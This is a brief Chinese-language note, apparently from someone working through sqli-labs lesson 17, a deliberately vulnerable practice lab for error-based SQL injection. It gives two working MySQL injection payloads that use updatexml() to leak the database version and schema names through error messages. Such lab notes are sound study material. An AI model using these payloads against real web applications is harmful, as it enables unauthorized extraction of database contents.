[sqli-labs]Less-17(报错注入)

报错注入 , 好深奥 , 叼叼叼

' or updatexml(1,concat(0x5e5e,version(),0x5e5e),1)-- 
' or updatexml(1,concat(0x5e,(select schema_name from information_schema.schemata limit 0,1),0x5e),1)--